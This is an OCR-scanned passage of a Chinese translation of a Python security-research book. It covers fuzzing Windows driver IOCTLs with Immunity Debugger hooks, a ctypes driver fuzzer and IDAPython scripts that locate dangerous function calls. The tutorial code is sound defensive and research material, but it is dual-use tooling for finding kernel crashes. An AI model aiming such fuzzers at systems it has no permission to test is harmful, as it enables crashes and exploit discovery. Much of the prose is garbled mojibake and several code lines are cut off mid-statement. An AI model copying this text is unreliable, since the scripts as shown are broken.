war-ftpd.exe:0042e6fa

MFC42.DLL:5f403d0e

MFC42.DLL:5f417247

MFC42.DLL:5f412adb

MFC42.DLL:5f401bfd

MFC42.DLL:5f401bic

MFC42.DLL:5f401a96

MFC42.DLL:5f401a20

MFC42.DLL:5f4019ca

USER32.d11:77d48709
USER32.d11:77d487¢eb
USER32.d11:77d489a5
USER32.d11:77d4bccc
MFC42.DLL:5f40116f

SEH u

nwind:

1

00a6fcf4
0Pa6fds84
Oea6fdcc
O0a6Tes5c
O0a6Tebc
OPa6ff74
O0a6ffa4d
Oea6fTfdc
frffffff

->
->
->
->
->
->
->
->
->

war-ftpd.exe:0042e38c mov eax,0x43e548
MFC42.DLL:5f41ccfa mov eax, O©x5f4be868
MFC42.DLL:5f41cc85 mov eax, Ox5f4be6cO
MFC42.DLL:5f41cc4d mov eax, Ox5f4be3d8
USER32.d11:77d70494 push ebp
USER32.d11:77d70494 push ebp
MFC42.DLL:5f424364 mov eax, Ox5f4c23b0o
MSVCRT.d11:77c35c94 push ebp
kernel32.d11:7c8399f3 push ebp

B

Listing 9-3:#437 n:X A% = £MERHER



Sulley WEE N FAB 2 #HMRENR T, UARAXLERIAZHEFN—E9, 2BRLZREH
A7, BTELZAMREYE, BCEMRE, LRz EIEN e, primitives BB biq
H, %5, M\S LG, Sulley AB2— % HMNZREY, m2F 1 bug-hunging &t
23, EFRAMRIIMSER T i8R 589 fuzz LUE, BTERATA fuzz RithH
Windows TR # %2R, 3 XFMHAE 2WIE,



10 Fuzzing Windows Ix 3

st F hacker 33, K # Windows Ig # 12 22 T BT,

MEI, EHEFEHZERE, MNSKE#REBEESESHATARMIRR., ERIT
F411E 8 Sulley #H T WarFTPD BUaH RE.

WarFTPD iz F2MIHlas LR —1NZROA » %, BnEeBetersE, s
RIE— ZREMRE, XPR—RZ2R/DE, WREE, RLSESEHITERI,
BREREE 5 AT To INRXHEFREAMIHE — DA IR 5B exploit, FRRLBESS T
MPRIRFAEIFR 44 %, you are god now!

RAHERNZER TEIT, MBNNREFETH P ERXTEIT, ATHEAMENRZ 3
7% H, FLEMFH IOCTLs (input/output controls ) , 2 IOCTLs 4B H 7 &
Byet i, FHA1FL BEFI A © % BCRZ AR,

ETE, BMEaXENE TUALED 23 I0CTLs KMAMA % & 31T %R, FH
23X {FH Immunity % % IOCTLs ##E. AR, ZEA Immunity 128 driverlib
ERBEHE R, URMN—DE2 TR X GEPELHEZNIZERE, &%
%, M IOCTL X2, & FRAM drivelib # BSrEEBHE X EIE, FH

ioctlizer (BEBI— g # fuzzer) #1T— R driver fuzz,



10.1 x5 @15

JLFEEANTE Windows LM T BFEHE— Mk &£ 2M— 154, By
B WiEFREy Bl FSH/ERTRANTMN, AEERX NIRRT 5%
o BEAEREM T

HANDLE WINAPI CreateFileW(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttribute
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile

);

BN, EEXHELDE LK, XEEEEMRRAHNRFTEE,
dwDesiredAccess x5 F AR, #HEBE (ALUELEXE, BAIUREARE) ,
GENERIC_READ (0x80000000) i3z, GENERIC_WRITE (0x40000000)&,
dwShareMode x Bi% B 0, FR~IE CreateFileW ;RE|FHEZLX M T AW
&, F8Ei7F%& &, IpSecurityAttributes 2 &M NULL, R~fF A R IAHW L 2
b RF, #F HATEE# F o 2 4 &, dwCreationDisposition Z # & & X
OPEN_EXISTING (0x3), RTMR % &LEFEMITH, HRBERROE 2, RE®
NS £ %ER NULL,

2 CreateFileW BIHREI— N EMN AW E, BHisteeFEH
DeviceloControl (B kernel32.dll ) #:#% — IOCTL £ % %

BOOL WINAPI DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID 1lpInBuffer,
DWORD nInBufferSize,
LPVOID 1lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED 1lpOverlapped

);

2B — S K CreateFileW & [E8Y AJ4% ., dwloControlCode & B # 4 % %

B# B IOCTL X3, XMURE T AR P LI08E. S IpinBuffer 15

A—PEHX, @ ST7THEASLRHPHIE. IMN2HARERNEEEERIEE

Bt 7, fuzz BIBISEEX, nInBufferSize # 1% % 4 1g 7 Ay 22 X BO K/,

IpOutBuffer #1 IpOutBufferSize, FHEIA NS M—4, it A TFEIRIK RO

iﬂ%}%o IpBytesReturned # 38 #h 2 FRREINBIBEN K E, &E—1TSHE LR E
NULL,



RENTFRANKZE, AREATEET, BEFRASZEBAIE Immunity, BE
Hook {¥ DeviceloControl R[5 % Fo4n A2 M X ARIEIE, &G fuzzing every
driver,



10.2 A Immunity fuzzing g 3/

BANBEMEA Immunity 38 KB958:X 3088, $E41E DeviceloControl B3I, 1EEIEE
B #rIR#H B, BT, XEaEFA] Driver Fuzzing B9E s, R —im#,
RETLS— LI TEEHB s PyCommand, HMREBBERES
Immunity S —t)T4E : &3k DeviceloControl, % & mXEIE, v EHEXE
B, FiEfinRize BEF, 2AUEst BIE#1Tie %, BERABRKIIN
fuzzing #BBREIRRAF R, Mo FATLIEFRERERRR o &2 XHEIE.

TN

WEAEZEECHNG E#1TER, MREMBRLITERNER, B, &KEHMZ
EERHENES, B! BXRE, BNETUEREMN, 2ARACHENERLE
EZmY EARRIF, AxELsER,

Fraha, EFE— Python BIZ ioctl_fuzzer.py.

#ioctl _fuzzer.py
import struct
import random
from immlib import *
class ioctl_hook( LogBpHook ):
def init ( self ):
self.imm = Debugger ()
self.logfile = "C:\ioctl_log.txt"
LogBpHook. init ( self )
def run( self, regs ):
We use the following offsets from the ESP register to trap
ESP+4 -> hDevice
ESP+8 -> IoControlCode
ESP+C -> InBuffer
ESP+10 -> InBufferSize
ESP+14 -> OutBuffer
ESP+18 -> OutBufferSize
ESP+1C -> pBytesReturned
ESP+20 -> pOverlapped
in_buf = ""
# read the IOCTL code
ioctl _code = self.imm.readLong( regs['ESP'] + 8 )
# read out the InBufferSize
inbuffer_size = self.imm.readLong( regs['ESP'] + 0x10 )
# now we find the buffer in memory to mutate
inbuffer_ptr = self.imm.readLong( regs['ESP'] + OxC )
# grab the original buffer
in_buffer = self.imm.readMemory( inbuffer_ptr, inbuffer_si:
mutated_buffer = self.mutate( inbuffer_size )
# write the mutated buffer into memory



self.imm.writeMemory( inbuffer_ptr, mutated_buffer )
# save the test case to file
self.save_test_case( ioctl_code, inbuffer_size, in_buffer,
def mutate( self, inbuffer_size ):
counter = 0
mutated_buffer = ""
# We are simply going to mutate the buffer with random byte
while counter < inbuffer_size:
mutated_buffer += struct.pack( "H", random.randint(0Q, :
counter += 1
return mutated_buffer
def save_test_case( self, ioctl_code,inbuffer_size, in_buffer,
message = Mx*x*x*%* I |\nl|
message += "IOCTL Code: 0x%08x\n" % ioctl_code
message += "Buffer Size: %d\n" % inbuffer_size
message += "Original Buffer: %s\n" % in_buffer
message += "Mutated Buffer: %s\n" % mutated_buffer.encode("'
message += "***** | |\n\n"
fd = open( self.logfile, "a" )
fd.write( message )
fd.close()
def main(args):
imm = Debugger()
deviceiocontrol = imm.getAddress( "kernel32.DeviceIoControl" )
ioctl_hooker = ioctl_hook()
ioctl_hooker.add( "%08x" % deviceiocontrol, deviceiocontrol )
return "[*] IOCTL Fuzzer Ready for Action!"

{ — >

X B% A AEUEFR Immunity K12, RE24% 7 T LogBpHook #, T E/INHIH
B, X—UHEEREMT EwlNB, KEFEBEWAT, TREBHELLIRY
B IOCT fX 73, AL HPXKE, M AZARMAE, EHBiT i ABRENT F,
tE—1Ta2THE FROFEZAK, KENHAZHPX—#¥, 2ERFE2HPERN
HIEEARZHX, REWX £6, REEESIRREzLA FEF.

;21938 ioctl_fuzzer.py 1 %] PyCommands B & T, X # I ztEEF A ioctl_fuzzer
D fuzz fEfAI{EA IOCTLs THRER (IRiR2R, BN, HEFBHM) . F 10-
1 & Wireshark #J fuzz % %R,



*kk k%

IOCTL Code: 0x001260603

Buffer Size: 36

Original Buffer: 0000000000000000000100000001000O0COEOEOEOCOCOOOOOO(
Mutated Buffer: a4100338ff334753457078100f78bde62cdc872747482a5137"

*kk k%

*kk k%

IOCTL Code: 0x00001ef0
Buffer Size: 4

Original Buffer: 28010000
Mutated Buffer: abl2d7e6

*kk k%

{ S— >

Listing 10-1: Wireshark #J fuzzing # H

EENM—KHENmrhLbradsaselh, EFxaa7a8a70THMN
IOCTL £ %3 0x00001ef0 #1 0x0012003 ., MR E gk 405X, FRAFAAMTERIFOR
B THY Wireshark #1T 32 H, x4 Wireshark i BAR IOCTL X2, &5
friE L L Hdh— IOCTL K IBHX 75 % £ A%,

EARXEMEL 2, HBALEEHRBERE. Tax2FA% R, 2607, i+
5N JBIETE fuzzing B93% &%, (Bt ETLLE: R hook CreateFileW, #ARJE 8R4
DeviceloControl £ T H/A#R, MMEHSE % &% ) , mA fuzz B9 IOCTL £
BHAE, BNERAFEX THREFATHIRESERMN, XHERF IR 5 IhEEM
AABEARN, x@iEisaS, B NPFHNE— 1 EINAER fuzzer, TREXFR
B IOCTL A BT #Y fuzzing, BEMREVFE & 4R4Y, HEEXZETL A—NRE,

XAREYS, AIRE, FEMF414E KBS Immunity % B89 driverlib & 718, EA
driverlib $x #18eM 3 Hig #HRZFAIAE R % & & H IOCTL N, BxELGRERL
g Ea— 1 EN, M, 2BHEM fuzzer T, X2—NMERB#HE, BN
F, FMHEFER AN, Let's get crackings

10.3.1 % &4

Fi Immunity REEBY driverlib E 3% & BEME, iLFHMFEF driverlib 2E 4
Mix NIHEERY,

def getDeviceNames( self ):
string_list = self.imm.getReferencedStrings( self.module.getCot
for entry in string_list:
if "\\Device\\" in entry[2]:
self.imm.log( "Possible match at address: Ox%08x" % ent
entry[0] )
self.deviceNames.append( entry[2].split("\"")[1] )
self.imm.log("Possible device names: %s" % self.deviceNames)
return self.deviceNames

j — 2




Listing 10-2: driverlib &% H % & &M A X

K@it #RRHPAEMSI A THFRS, JHEEPSET "\Device\"W 5, X
TR AHTEFEEM TSR, AR LA BEXTHEFARN. Fnw
A C:\WINDOWS\System32\beep.sys MiX A TEE. LU TEREETE Immunity
B 1T7,

*** Immunity Debugger Python Shell v0.1

*** Immlib instanciated as 'imm' PyObject READY.
>>> import driverlib

>>> driver = driverlib.Driver ()

>>> driver.getDeviceNames() ['\\Device\\Beep']
>>>

HMERH 2NEA=ZTRLMEE T — 1 A/% &% \Device\Beep, X &L T
18 i RO —1T1T & A B et g, Simple is Beautiful | FEE&EE driverlib 2
#N4a] % % IOCTL dispatch function (IOCTL jBEE %K) #1 10 IOCTL codes (
|IOCTL X53) B,

ks E M IOCTL %O, #BbsnB—1 IOCTL dispatch #i & KL E&H IOCTL
HR. HIERAHWIMBEMBERE, F—1Dir I BEKEFLZ DriverEntry, DriverEntry
REZERWT :

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_S’
{
UNICODE_STRING uDeviceName;
UNICODE_STRING uDeviceSymlink; P
DEVICE_OBJECT gDeviceObject;
RtlInitUnicodeString( &uDeviceName, L"\\Device\\GrayHat" );
RtlInitUnicodeString( &uDeviceSymlink, L"\\DosDevices\\GrayHat'
// Register the device
IoCreateDevice( DriverObject, O, &uDeviceName, FILE_DEVICE_NET\
// We access the driver through its symlink
IoCreateSymbolicLink(&uDeviceSymlink, &uDeviceName);
// Setup function pointers
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDisp:
DriverObject->DriverUnload = DriverUnloadCallbac
DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClosel(
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateCloseC:
return STATUS_SUCCESS;

}
j S— o

Listing 10-3: DriverEntry B9 C j&#3 52 1,

XE— N IEEE M DriverEntry {Xs31EZR, BEREERNIAT & & EWNAHHE
L, EFEHNRXIT



DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDispatch
J S—

X 1T IR 328 IOCTLDispatch # #F7A IOCTL 53K, LH—1 IR 32543335
B, X TR A48T
mov dword ptr [REG+70h], CONSTANT

XIESEFREEALEH, REG 1 CONSTANT #2;C 418, IOCTLDispatch
AR EREREGUBNXONM A £, FHXEES, ZnH
BE #% H IOCTL & I £ 8 CONSTANT, thizt2 IOCTLDispatch, 1E&E )ik I
HH IOCTL K53, driverlib BIE{Ksz sl T :

def getIOCTLDispatch( self ):
search_pattern = "MOV DWORD PTR [R32+70], CONST"
dispatch_address = self.imm.searchCommandsOnModule( self.module
.getCodebase(), search_pattern )
# We have to weed out some possible bad matches
for address in dispatch_address:
instruction = self.imm.disasm( address[0] )
if "MOV DWORD PTR" in instruction.getResult():
if "+70" in instruction.getResult():
self.IOCTLDispatchFunctionAddress = instruction.getImm(
self.imm.getFunction( self.IOCTLDispatchFunctio
break
# return a Function object if successful
return self.IOCTLDispatchFunction

j S— >

Listing 10-4: ¥ IOCTL dispatch function #9754

BHTH Immunity FRiR 5 —FREUF RBUSRI K, Tt REBH—H, —B3H)
HE TAENEE, s M EERER, EEHE IOCTL K35 RHHam

Bo

THE¥REEE IOCTL dispatch BIEEZ 0 2 B9, LA GN{a] & #HARERY IOCTL
K3,

10.3.3 # ! IOCTL K53

IOCTL dispatch 1R#E# AR @ (EFE 2 IOCTL 384T 5 g, X2 imF
F B EHREARA IOCTLMER, K% IOCTL AN TFA & T/REANE
8", LFA KB R C 29 IOCTL dispatch, ZEFHAITRCHEAN, FME
#HH I0CTL 42,



NTSTATUS IOCTLDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irj
{

ULONG FunctionCode;

PIO_STACK_LOCATION IrpSp;

// Setup code to get the request initialized

IrpSp = IoGetCurrentIrpStackLocation(Irp);

FunctionCode = IrpSp->Parameters.DeviceIoControl.IoControlCode,

// 0Once the IOCTL code has been determined, perform a

// specific action

switch(FunctionCode)

{
case 0x1337:
// ... Perform action A case 0x1338:
// ... Perform action B case 0x1339:
// ... Perform action C
3

Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest( Irp, IO_NO_INCREMENT );
return STATUS_SUCCESS;

}

/ ] -l
Listing 10-5: — & % % B9 IOCTL dispatch X 2 X # = # IOCTL X =
(0x13370x1338, 0x1339)

HEEM I0CTL %K 3RE IOCTL KARaHE, BN & %1 switch{}:&
A, X ERYE IOCTL KAHATHE LBV, switch A LA EEHUERUT
M.

// Series of CMP statements against a constant

CMP DWORD PTR SS:[EBP-48], 1339 # Test for 0x1339

JE OXSOMEADDRESS # Jump to 0x1339 action

CMP DWORD PTR SS:[EBP-48], 1338 # Test for 0x1338 JE OXSOMEADDRESS
CMP DWORD PTR SS:[EBP-48], 1337 # Test for 0x1337 JE OXSOMEADDRESS
// Series of SUB instructions decrementing the IOCTL code

MOV ESI, DWORD PTR DS:[ESI + C] # Store the IOCTL code in ESI

SUB ESI, 1337 # Test for 0x1337

JE OXSOMEADDRESS # Jump to 0x1337 action SUB ESI, 1 # Test for Ox1:
JE OXSOMEADDRESS # Jump to 0x1338 action

SUB ESI, 1 # Test for 0x1339

JE OXSOMEADDRESS # Jump to 0x1339 action

J

Listing 10-6: AFAREM switch(}RC%IES

switch{} IR L #IEFERZHH, FTdREILNMELEAM, EE—FMBERT,
eI LB — SR CMP 184, HEI#THEMNES, XLEFZ IOCTL
B, BIMIE R, BHEL+R, EH—XRJI SUB I5SERGRkE M, KB
—1TE0F



SUB ESI, 1337

X—1TEHF TN, &P IOCTL K252 0x1337, MXBFFR, 0x1337 E4
E—NEE, BTSUBESAEEZY, HEMMNLEZYD, BRI R EE
A — N80 IOCTL K73, TBTRIN, BEE switch £R, EAR s eI LAE Immunity
B % T Libs\driverlib.py, X5 H8#{tB9kE T IOCTL dispatch #1FTER IOCTL
codes,

IWIE driverlib A F 15N T RERREE, BT LBMNBLESHNE | B
driverlib 1Rz s IEFFHRATEHY& 44 H IOCTL K3, FHEMEREEE Python
pickle 1, #ZEF ©11#E IOCTL fuzzer, Let's get fuzzy !



10.4 #;%2 Driver Fuzzer

$FE—% £ 52, PyCommand:IOCTL-dump.

1

#ioctl dump.py
import pickle

import driverlib
from immlib import *
def main( args ):

ioctl_list = [] device_list

imm = Debugger ()

driver = driverlib.Driver()

[]

# Grab the list of IOCTL codes and device names
ioctl_list = driver.getIOCTLCodes()

if not len(ioctl_list):

return "[*] ERROR! Couldn't find any IOCTL codes."
device_list = driver.getDeviceNames()

if not len(device_list):

return "[*] ERROR! Couldn't find any device names."
# Now create a keyed dictionary and pickle it to a file

master_list = {}

master_list["ioctl list"] = ioctl_list
master_list["device_list"] = device_list
filename = "%s.fuzz" % imm.getDebuggedName()

fd = open( filename, "wb" )

pickle.dump( master_list,
fd.close()

return "[*] SUCCESS! Saved IOCTL codes and device names to %s"

1 2

X PyCommand 1824 % % : 3 IOCTL KaAK, BFRiEL&BHNK, FthiE
2= #h, RAEFREFIXXHE, TREMNREZE Immunity ST & 2845 A

lioctl_dump,

pickle X2 HRZEE Immunity B & .

FEBELRR fuzzer, ETEFEZ coding and coding, 4152 SEJX A fuzzer £
M3EE FREIENEL N2 PXEE, Tayr BHUERREZH.

#my_ioctl_fuzzer.py

import pickle

import sys

import random

from ctypes import *

kernel32 = windll.kernel32

# Defines for Win32 API Calls
GENERIC_READ = Ox80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3

# Open the pickle and retrieve the dictionary



fd = open(sys.argv[1l], "rb")
master_list = pickle.load(fd)
ioctl_list = master_list["ioctl list"]
device_list = master_list["device_list"]
fd.close()
# Now test that we can retrieve valid handles to all
# device names, any that don't pass we remove from our test cases
valid_devices = []
for device_name in device_list:
# Make sure the device is accessed properly
device_file = u"\\\\.\\%s" % device_name.split("\\")[::-1][0]
print "[*] Testing for device: %s" % device_file
driver_handle = kernel32.CreateFileW(device_file, GENERIC_READGI
if driver_handle:
print "[*] Success! %s is a valid device!"
if device_file not in valid_devices:
valid_devices.append( device_file )
kernel32.CloseHandle( driver_handle )
else:
print "[*] Failed! %s NOT a valid device."
if not len(valid_devices):
print "[*] No valid devices found. Exiting..."
sys.exit(0)
# Now let's begin feeding the driver test cases until we can't be
# it anymore! CTRL-C to exit the loop and stop fuzzing
while 1:
# Open the log file first
fd = open("my_ioctl_fuzzer.log",6 "a")
# Pick a random device name
current_device = valid_devices[random.randint (0, len(valid_dev:
fd.write("[*] Fuzzing: %s\n" % current_device)
# Pick a random IOCTL code
current_ioctl = ioctl_list[random.randint(®, len(ioctl_list)-1
fd.write("[*] With IOCTL: 0x%08x\n" % current_ioctl)
# Choose a random length current_length = random.randint (0, 210(
# Let's test with a buffer of repeating As
# Feel free to create your own test cases here
in_buffer = "A" * current_length
# Give the IOCTL run an out_buffer
out_buf = (c_char * current_length)()
bytes_returned = c_ulong(current_length)
# Obtain a handle
driver_handle = kernel32.CreateFileW(device_file, GENERIC_READ
fd.write("!!'FUZZ!!'\n")
# Run the test case
kernel32.DevicelIoControl( driver_handle, current_ioctl, in_bufi
fd.write( "[*] Test case finished. %d bytes returned.\n\n" % b\
# Close the handle and carry on!
kernel32.CloseHandle( driver_handle )
fd.close()

— 2



S M pickle XHEARERHEEE IOCTL 2%k 4R FH, MIIRBIHBES RS
B % 5%, NRTEHRE, FMAIKRDHIR, BEEEVEE— /M&%%%D
IOCTL X3, ¢ B— 1AL KENZ AKX, &G IOCTL XL IR,

{FERAM T e 21T fuzzing.

C:\>python.exe my_ioctl fuzzer.py i2omgmt.sys.fuzz

IR fuzzer crash THLZ:, FABESBHEMMK IS XXM IOCTL K2, EEME
PAIRIR 3 7o 3+ 10-7 2RI — DR IR %8 fuzzing T 2.

[*] Fuzzing: \\.\unnamed

[*] with IOCTL: ©x84002019

[*] Buffer length: 3277

1TFUZZ! !

[*] Test case finished. 3277 bytes returned.
[*] Fuzzing: \\.\unnamed

[*] with IOCTL: ©x84002020

[*] Buffer length: 2137

1TFUZZ! !

[*] Test case finished. 1 bytes returned.
[*] Fuzzing: \\.\unnamed

[*] with IOCTL: ©x84002016

[*] Buffer length: 1097

1TFUZZ!!

[*] Test case finished. 1097 bytes returned.
[*] Fuzzing: \\.\unnamed

[*] wWith IOCTL: 0x8400201c

[*] Buffer length: 9366

1TFUZZ!!

Listing 10-7: — RN fuzzing it %

BESERBREINEER, £—1 I0CTL, 0x8400201c Bl% T %4 BEx%, AARXRERE
—& T Eo Eﬁuﬁﬂ:%&ﬁm’] fuzzer R ¥, BRRER, "LUER AT BT
ﬁE, FeEmEKN, HPR—1AENAEMZ, F InBufferLength (&
OutBufferLength S#x BRFI 2 & ARMBIB R EFR—#., AKX KB, 0§
ig | | destroy all drivers in your path!



11 IDAPYTHON --- IDA

IDA Pro(Bi1 & # lifak Guilfanov) A E 38 KEIER A D HTTHEE Y 2 TTHRBRK 4 & [a T2
ME%, itFiieEeigE®E, Hex-Rays SA (R E ), IDAMNSEZBERTE
KEHEEB LiZ1T, BEHONABLIEEN ZsFIH, FEHREET —1PREBEMNH
Xem. IDARIY ReENHERHERKE, 1RMET IDC(IDA BIMIZA ;2 E)F SDKGEFF
% &y BAE IDA FEE),

2004 4 Gergely #l Ero Carrera 7% 7 IDAPython &4, J$38 K8 Python # IDA
LeE K, EREHLOMETRER £, MiN%S IDAPython #IZHNERTH
FEg L = @ ( Zynamics B BinNavi) #1 7 J8 T #2 ( PaiMei #f1 PyEm) H,
X —F, A4 E % 2 IDAPython(EL IDAPro 5.2 # B )R EUREEMEK
HHER, REBLLNE 26 F 3t —F 73 IDA B b9,



11.1 %% IDAPython

M http://idapython.googlecode.com/files/idapython-1.0.0.zip F& B EEMN & 45
B BN RALLKER, BAKKRRE idapython-1.2.0_ida5.4_py2.5 win32.zip §J
ARA, XANRRAWBEILL BF ida5.5.

THERREY, NEHEZTH python X%, EHE IDAMELZEBZT (Bin
# C:\Program Files\IDA) , ¥ plugins B % T python.plw E#ZE IDA #J plugins
BH% T (BKik# C:\Program Files\IDA\plugins.)

FLLBIR s IDA, FEEMZ— DA HITXHE, — BTN, MEERIED
M HEOFREE T IDAPython BIER, e/ M XA ERASH B,
me 11-1,

Loading IDP module C:MProgram FilessIDAMprocshpoc.w3?z2 for processor metapc...0k
Loading twpe libraries...

Autoanalysis subsystem has been initialized.

Database Tor file 'calc.exe' s loaded.

Campiling file 'C:iyFrogram FileshIDasidcsida.idc'...

Executing function 'main'...

IDaPython wersion 1.0.0 final (serial 03 initialized
Fython interpreter wersion 2.5.2 final (serial o)

lau: idle Down  |Disk: 9GE |

= Open...

Load file L4
Produce file L4

IDC file...

IDC command... Shift+F2
Python file... Alt+9
Python command... Alt+8

I save Ctrl+W
Save as...

Close

Figure 11-1: IDAPython B II & 2 5 # IDA Pro BI#IRLE R TEXXUEFH 2 Ha
BRZEHA N LR, 0E 11-2

Figure 11-2: IDAPython F{ZhZe2% 5 # DA Pro X3 %

H % A9 B2 Python file #1 Python command, #4ethixBF 7. WREES
AT —N G 289 Python @94, RE % & Python command &3, MaHi—1 &
A, AT E, s IDANHEEOREE LR, Python file & 5 AT #ITIHRIL
B IDAPython fl%, Xt BEXEBERN M, 5t IDAPython B4 RINERE, FF

BIEBIfF, #FTRLIAMNTHET ¥HE DAPython I,


http://idapython.googlecode.com/files/idapython-1.0.0.zip

11.2 IDAPython %

IDAPython 884% 35 PIFRAE R IDC BE, BMRANy—L=3 LRAR, H2EW
IDAPython

AR EMER, IDC &3£5H 100 ZDEE, BB LR RFR,

11.2.1 EHEHK
LUTHIEREER B 1E 4 BRI AR at & 2 8 BB BIHY,

ScreenEA()

KEX IDA X BEOR, XiriEmapttit, Bit X NEE, BWnmEsMA—1TE
A B ITRARIBIA,

GetInputFileMD5()

AR [E] IDA f0# B9 = #HISCHET MDS 1, Bit X Ma B9 FIMT — D X4 IR RRE

=8 AW %,

11.2.2 %

£ IDA R Z # HISCHR O A T TRIBVER, XEERRIEINGEDK T TR EE (
CODE, DATA, BSS, STACK, CONST,XTRN) , A THEHEA T2k S&MHERE

FirstSeg()

7 RFHRRE— TN,
NextSeg()

e F—1TE, R%ERERE BADADDR,
SegByName( string SegmentName )

Wit RARFIREIEREL, #MF, WRAM.text fFASH, MkOEFRHNRS
BTG L&,

SegEnd( long Address )

Wit BRI E D, #®SRERME,
SegStart( long Address )

Wit BRI E Db, 3% SRR LRttt
SegName( long Address )

Bt BRARNE A i, RERE,



Segments()
RO B ## 2 F P RIATA B TRttt

11.2.3 EH
B3 7 i RRFRIOFTAME, BERMISEE, RMARREFRBHEIN ML,
TE HEH TR BEBRESE R,

Functions( long StartAddress, long EndAddress )

IRE—/NFIKR, B85 7T M StartAddress Z| EndAddress 2 5 BIFF A BRI,

Chunks( long FunctionAddress )

E—NIIR, B3 TEHHAR, BN5RAEZ— DIt (chunk start, chunk
end)

LocByName( string FunctionName )
it EE R B R Bt
GetFuncOffset( long Address )

BRAES— T, REFEXNUFTEREREE, LUKk E i AR EEIHE
%, AREExLEESERFRFEURF+HUB P IREL,

GetFunctionName( long Address )

Wit — i, REx Db ATE R

11.2.4 *X5|H

BHAAMBIENRZXEIA, E2MXGHMITRENRER, LARIRNOW
RSB 3 M &, BEENERERLFRRILRE—METEN s, XhE
H 414 IDARARRE A A TN EERRE, IDAPython it T —KEREAT
BEMRXEIH, &% BHELE FEILM,

CodeRefsTo( long Address, bool Flow )

—MNAIR, ik Address KX B LM ABIET, Flow &%
IDAPython BEE BIRx R s,

CodeRefsFrom( long Address, bool Flow )

—NBIR, &i5F41 Address ik ERIR 53| R 2B,
DataRefsTo( long Address )

—MIUR, HiFHiN Address X BIER T LMAEIRT. ERTRIEEREE
=

DataRefsFrom( long Address )



IRE—NIKR, &55F47 Address itk _EBIF 33| BT & O ELIE,

11.2.5 Debugger Hooks

Debugger Hook & IDAPython 28 % — N FEEEERITHEE, FTF Hook ¥ IDA N
EBEYA X2%, Rt RBEMRXEHS. 2% IDA—BRFAFRRXES, BEEREE
R 7 AR X 1%, AFH IDA RERAXEZRUEABHNEAFERSE., cBEENE
3 debugger hooks ¢ — MBBEH 4%+ TE, #FA debugger hook Z &, &
ZEBR—D— hook £ AREBE £ E %k EXLEMARR & IBEHE,

class DbgHook(DBG_Hooks):

# Event handler for when the process starts

def dbg_process_start(self, pid, tid, ea, name, base, size)
return

# Event handler for process exit

def dbg_process_exit(self, pid, tid, ea, code):
return

# Event handler for when a shared library gets loaded def

dbg_library_load(self, pid, tid, ea, name, base, size):
return

# Breakpoint handler

def dbg_bpt(self, tid, ea):
return

N EEETHENECE A IR, 28RN AREELEERN, 28
hook B9 A\ 40 T :

debugger = DbgHook()
debugger .hook()

MIEE (T KER, hook RIWIEATABYEXEM, XHRIEEIEEBMBVIES IDA A
KEv. PNHBEBEA XN IRIEEEM:

AddBpt( long Address )

TR R R B K BT R

GetBptQty()

IR [E] H A% BRI R EE,

GetRegValue( string Register )

B FFRARETFaE.

SetRegValue( long Value, string Register )
kEFFHRNME.



11.3 A+

Bkl BE—EEYRHER2ERIINMA, 25, ARTUELRER Ly BT
m, #—HTERINBERERK, 4 xtEREBMEIY, BFTENMARERNMKER

HHHEE 58, LR IDAB debugger hook % BB S BER, 1 F
Fﬁ“ﬁ_'?%lﬂ’]*iﬂ’]jtd\

11.3.1 WEB L EHBEBER

H— DML BT FHHRMRE bug M, BARFK—LERANMBR S 2E
A K, LB BT RIEEE 1K (strepy, sprintf), PIFEE N EE (memcpy)
F, EBRNFZ EFNHE, RERG LHOMHXEER, TENEE, [NRER
FEEE L RIEE, HHA Beniths, 2EEXEmANESBEBER TR
&, FiE IDABOFRMAERA EHNEHXE,

#cross_ref.py
from idaapi import *
danger_funcs = ["strcpy", "sprintf", "strncpy"]
for func in danger_funcs:
addr = LocByName( func )
if addr != BADADDR:
# Grab the cross-references to this address
cross_refs = CodeRefsTo( addr, 0 )
print "Cross References to %s" % func
print M------- e
for ref in cross_refs:
print "%08x" % ref
# Color the call RED
SetColor( ref, CIC_ITEM, 0Ox0000ff)

Bk B R, AE X I AR, EE RS X SRR
XEIRER, WAt ARATEN, XEEREMNITEHTXE, #EDA¢%EM
&, A Bi%idiF war-fipd.exe 5% Bix, SEEI T4 H:



Cross References to sprintf
004043df
00404408
00404419
00404810
00404851
00404896
004052cc
0040560d
0040565e
004057bd
004058d7

Listing 11-1: cross_ref.py By H

X EEAR 5 SR B i it R sprintf 4% 8 ARV TS, WNSRTE IDA i fiax K s
SEIEeNEBHRLETE, A 11-3,

loc_4282900:
moy eax, [ebp+arg_ 8]
1ea ecx, [ebp+Dest]
push eax

push offset aGoonlineCreate ; "GoOnline(}: Create{%d) failed."

iu5h BCX ; Dest

add esp, HCh

1ea ecx, [ebp+Dest]
mowv eax, dword 44AECH
push eCx

mou esi, [eax]

push 2

mou eCcx, eax

call dword ptr [esi+AiCh]

Figure 11-3: sprintf ;8 FAi@it cross _ref.py L2 E

11.3.2 P EEXR

EHITH A2MEHE, BBRBRNEEH#ITHRRERBET LKL HITHN, FEE
B, THEMNAMBEFLE—PMESE, s2EAMXERESRTF—HXE, £
BEEREMEET RNBEFNT R, BFRMT 44, TmE, FH¥FH IDAPython #
BNEFEFNMERY, HETEEEMHHRMFHRLE L EFTR. Z/EE1T IDA
JAiX 2%, debugger hook RIBE— JRET =R % BIIERBH T 1.



#func_coverage.py
from idaapi import *
class FuncCoverage(DBG_Hooks):
# Our breakpoint handler
def dbg_bpt(self, tid, ea):
print "[*] Hit: Ox%08x" % ea
return
# Add our function coverage debugger hook
debugger = FuncCoverage()
debugger.hook()
current_addr = ScreenEA()
# Find all functions and add breakpoints
for function in Functions(SegStart( current_addr ), SegEnd( current
AddBpt( function )
